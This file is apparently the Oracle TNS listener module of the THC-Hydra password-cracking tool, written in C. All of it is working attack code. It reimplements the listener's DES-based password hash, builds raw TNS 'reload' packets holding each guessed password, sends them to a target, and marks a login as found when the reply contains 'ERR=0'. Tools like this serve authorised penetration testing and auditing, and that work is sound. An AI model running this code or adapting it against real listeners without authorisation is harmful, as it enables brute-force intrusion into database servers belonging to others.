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hydra-oracle-listener.c
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hydra-oracle-listener.c
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/*
david:
PASSWORDS_LISTENER in listener.ora can be in clear or in plain mode,
this module support the 2 modes, use -m PLAIN or -m CLEAR on the cmd
line. Default is plain (oracle 10 uses it).
Thanks to Marcell for the plain mode analysis available
at http://marcellmajor.com/frame_listenerhash.html
*/
#include "hydra-mod.h"
#ifndef LIBOPENSSLNEW
#include <stdio.h>
void dummy_oracle_listener() {
printf("\n");
}
#else
#include <sasl.h>
#include <openssl/des.h>
#define HASHSIZE 16
extern char *HYDRA_EXIT;
char *buf;
unsigned char *hash;
int sid_mechanism = AUTH_PLAIN;
int initial_permutation(unsigned char **result, char *p_str, int *sz) {
int k = 0;
int i = strlen(p_str);
char *buff;
//expand the string with zero so that length is a multiple of 4
while ((i % 4) != 0) {
i = i + 1;
}
*sz = 2 * i;
if ((buff = malloc(i)) == NULL) {
hydra_report(stderr, "[ERROR] Can't allocate memory\n");
return 1;
}
memset(buff, 0, i);
strncpy(buff, p_str, strlen(p_str));
//swap the order of every byte pair
for (k = 0; k < i; k += 2) {
char bck = buff[k + 1];
buff[k + 1] = buff[k];
buff[k] = bck;
}
//convert to unicode
if ((*result = malloc(2 * i)) == NULL) {
hydra_report(stderr, "[ERROR] Can't allocate memory\n");
free(buff);
return 1;
}
memset(*result, 0, 2 * i);
for (k = 0; k < i; k++) {
(*result)[2 * k] = buff[k];
}
free(buff);
return 0;
}
int ora_hash(unsigned char **orahash, unsigned char *buf, int len) {
int i;
if ((*orahash = malloc(HASHSIZE)) == NULL) {
hydra_report(stderr, "[ERROR] Can't allocate memory\n");
return 1;
}
for (i = 0; i < 8; i++) {
sprintf(((char *) *orahash) + i * 2, "%02X", buf[len - 8 + i]);
}
return 0;
}
int convert_byteorder(unsigned char **result, int size) {
int i = 0;
char *buff;
if ((buff = malloc(size)) == NULL) {
hydra_report(stderr, "[ERROR] Can't allocate memory\n");
return 1;
}
memcpy(buff, *result, size);
while (i < size) {
buff[i + 0] = (*result)[i + 3];
buff[i + 1] = (*result)[i + 2];
buff[i + 2] = (*result)[i + 1];
buff[i + 3] = (*result)[i + 0];
i += 4;
}
memcpy(*result, buff, size);
free(buff);
return 0;
}
int ora_descrypt(unsigned char **rs, unsigned char *result, int siz) {
int i = 0;
char lastkey[8];
des_key_schedule ks1;
unsigned char key1[8] = { 0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF };
unsigned char ivec1[] = { 0, 0, 0, 0, 0, 0, 0, 0 };
unsigned char *desresult;
memset(ivec1, 0, sizeof(ivec1));
if ((desresult = malloc(siz)) == NULL) {
hydra_report(stderr, "[ERROR] Can't allocate memory\n");
return 1;
}
des_key_sched((C_Block *) key1, ks1);
des_ncbc_encrypt(result, desresult, siz, ks1, &ivec1, DES_ENCRYPT);
for (i = 0; i < 8; i++) {
lastkey[i] = desresult[siz - 8 + i];
}
des_key_sched((C_Block *) lastkey, ks1);
memset(desresult, 0, siz);
memset(ivec1, 0, sizeof(ivec1));
des_ncbc_encrypt(result, desresult, siz, ks1, &ivec1, DES_ENCRYPT);
if ((*rs = malloc(siz)) == NULL) {
hydra_report(stderr, "[ERROR] Can't allocate memory\n");
free(desresult);
return 1;
}
memcpy(*rs, desresult, siz);
return 0;
}
int ora_hash_password(char *pass) {
// secret hash function comes here, and written to char *hash
int siz = 0;
unsigned char *desresult;
unsigned char *result;
char buff[strlen(pass) + 5];
memset(buff, 0, sizeof(buff));
//concatenate Arb string and convert the resulting string to uppercase
snprintf(buff, sizeof(buff), "Arb%s", pass);
strupper(buff);
if (initial_permutation(&result, buff, &siz)) {
hydra_report(stderr, "[ERROR] ora_hash_password: in initial_permutation\n");
return 1;
}
if (convert_byteorder(&result, siz)) {
hydra_report(stderr, "[ERROR] ora_hash_password: in convert_byteorder\n");
return 1;
}
if (ora_descrypt(&desresult, result, siz)) {
hydra_report(stderr, "[ERROR] ora_hash_password: in DES crypt\n");
return 1;
}
free(result);
if (ora_hash(&result, desresult, siz)) {
hydra_report(stderr, "[ERROR] ora_hash_password: in extracting Oracle hash\n");
return 1;
}
memcpy(hash, result, HASHSIZE);
free(desresult);
free(result);
return 0;
}
int start_oracle_listener(int s, char *ip, int port, unsigned char options, char *miscptr, FILE * fp) {
unsigned char tns_packet_begin[22] = {
"\x00\x00\x01\x00\x00\x00\x01\x36\x01\x2c\x00\x00\x08\x00\x7f\xff\x86\x0e\x00\x00\x01\x00"
};
unsigned char tns_packet_end[32] = {
"\x00\x3a\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x09\x94\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00"
};
char *empty = "";
char *pass;
char connect_string[200];
char buffer2[260];
int siz = 0;
memset(connect_string, 0, sizeof(connect_string));
memset(buffer2, 0, sizeof(buffer2));
if (strlen(pass = hydra_get_next_password()) == 0)
pass = empty;
if (sid_mechanism == AUTH_PLAIN) {
if ((hash = malloc(HASHSIZE)) == NULL) {
hydra_report(stderr, "[ERROR] Can't allocate memory\n");
return 1;
}
if (ora_hash_password(pass)) {
hydra_report(stderr, "[ERROR] generating Oracle hash\n");
free(hash);
return 1;
}
pass = (char *) hash;
}
snprintf(connect_string, sizeof(connect_string), "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=))(COMMAND=reload)(PASSWORD=%s)(SERVICE=)(VERSION=169869568)))", pass);
if (hash != NULL)
free(hash);
if (verbose)
hydra_report(stderr, "[VERBOSE] using connectiong string: %s\n", connect_string);
siz = 2 + sizeof(tns_packet_begin) + 2 + sizeof(tns_packet_end) + strlen(connect_string);
if (siz > 255) {
buffer2[0] = 1;
buffer2[1] = siz - 256;
} else {
buffer2[1] = siz;
}
memcpy(buffer2 + 2, (char *) tns_packet_begin, sizeof(tns_packet_begin));
siz = strlen(connect_string);
if (siz > 255) {
buffer2[2 + sizeof(tns_packet_begin)] = 1;
buffer2[1 + 2 + sizeof(tns_packet_begin)] = siz - 256;
} else {
buffer2[1 + 2 + sizeof(tns_packet_begin)] = siz;
}
memcpy(buffer2 + 2 + sizeof(tns_packet_begin) + 2, (char *) tns_packet_end, sizeof(tns_packet_end));
memcpy(buffer2 + 2 + sizeof(tns_packet_begin) + 2 + sizeof(tns_packet_end), connect_string, strlen(connect_string));
if (hydra_send(s, buffer2, 2 + sizeof(tns_packet_begin) + 2 + sizeof(tns_packet_end) + strlen(connect_string), 0) < 0) {
return 1;
}
if ((buf = hydra_receive_line(s)) == NULL)
return 1;
if (verbose)
hydra_report(stderr, "[VERBOSE] Server answer: %s\n", buf);
if (strstr(buf, "ERR=0") != NULL) {
hydra_report_found_host(port, ip, "oracle-listener", fp);
hydra_completed_pair_found();
} else
hydra_completed_pair();
free(buf);
if (memcmp(hydra_get_next_pair(), &HYDRA_EXIT, sizeof(HYDRA_EXIT)) == 0)
return 3;
return 1;
}
void service_oracle_listener(char *ip, int sp, unsigned char options, char *miscptr, FILE * fp, int port) {
int run = 1, next_run = 1, sock = -1;
int myport = PORT_ORACLE, mysslport = PORT_ORACLE_SSL;
hydra_register_socket(sp);
if (memcmp(hydra_get_next_pair(), &HYDRA_EXIT, sizeof(HYDRA_EXIT)) == 0)
return;
if ((miscptr != NULL) && (strlen(miscptr) > 0)) {
strupper(miscptr);
if (strncmp(miscptr, "CLEAR", 5) == 0)
sid_mechanism = AUTH_CLEAR;
}
if (verbose) {
switch (sid_mechanism) {
case AUTH_CLEAR:
hydra_report(stderr, "[VERBOSE] using SID CLEAR mechanism\n");
break;
case AUTH_PLAIN:
hydra_report(stderr, "[VERBOSE] using SID PLAIN mechanism\n");
break;
}
}
while (1) {
switch (run) {
case 1: /* connect and service init function */
if (sock >= 0)
sock = hydra_disconnect(sock);
// usleep(300000);
if ((options & OPTION_SSL) == 0) {
if (port != 0)
myport = port;
sock = hydra_connect_tcp(ip, myport);
port = myport;
} else {
if (port != 0)
mysslport = port;
sock = hydra_connect_ssl(ip, mysslport);
port = mysslport;
}
if (sock < 0) {
hydra_report(stderr, "[ERROR] Child with pid %d terminating, can not connect\n", (int) getpid());
hydra_child_exit(1);
}
/* run the cracking function */
next_run = start_oracle_listener(sock, ip, port, options, miscptr, fp);
break;
case 3: /* clean exit */
if (sock >= 0)
sock = hydra_disconnect(sock);
hydra_child_exit(0);
return;
case 4:
if (sock >= 0)
sock = hydra_disconnect(sock);
hydra_child_exit(2);
return;
default:
hydra_report(stderr, "[ERROR] Caught unknown return code, exiting!\n");
hydra_child_exit(0);
}
run = next_run;
}
}
#endif